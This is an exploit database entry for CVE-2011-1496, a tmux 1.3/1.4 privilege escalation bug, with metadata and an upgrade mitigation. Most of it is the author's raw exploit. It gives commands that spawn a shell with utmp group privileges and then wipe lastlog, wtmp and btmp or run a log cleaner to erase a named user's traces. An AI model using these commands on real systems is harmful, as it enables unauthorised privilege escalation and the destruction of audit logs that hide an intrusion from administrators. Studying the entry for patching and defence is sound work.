tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability

vendor:

tmux

by:

ph0x90bic

7,2

CVSS

HIGH

Local Privilege Escalation

264

CWE

Product Name: tmux

Affected Version From: 1.3

Affected Version To: 1.4

Patch Exists: YES

Related CWE: CVE-2011-1496

CPE: a:tmux:tmux

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux debian 2.6.26-1-686

2011

tmux ‘-S’ Option Incorrect SetGID Local Privilege Escalation Vulnerability

tmux 1.3/1.4 contains a privilege escalation vulnerabillity, which gives you utmp group privileges. This bug is important, because it is possible to clean logfiles and use logcleaners for btmp, wtmp and lastlog without local root access.

Mitigation:

Upgrade to tmux version 1.5 or later

Source

Exploit-DB raw data:

---------------------------------------
| Team ph0x90bic proudly presents     |
| tmux -S 1.3/1.4 local utmp exploit  |
---------------------------------------

# Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability
# Date: 11.04.2011
# Author: ph0x90bic
# Software Link: http://tmux.sourceforge.net/
# Version: 1.3/1.4
# Tested on: Linux debian 2.6.26-1-686
# CVE : CVE-2011-1496

---

INTRODUCTION

tmux 1.3/1.4 contains a privilege escalation vulnerabillity,
which gives you utmp group privileges. This bug is important,
because it is possible to clean logfiles and use logcleaners
for btmp, wtmp and lastlog without local root access.

---

EXPLOIT

Execute shell as utmp group

$ tmux -S /tmp/.whateveryouwant -c id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)

$ tmux -S /tmp/.whateveryouwant -c /bin/sh
$ id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)

--

Delete logfiles

$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'

--

Use logcleaner software

$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username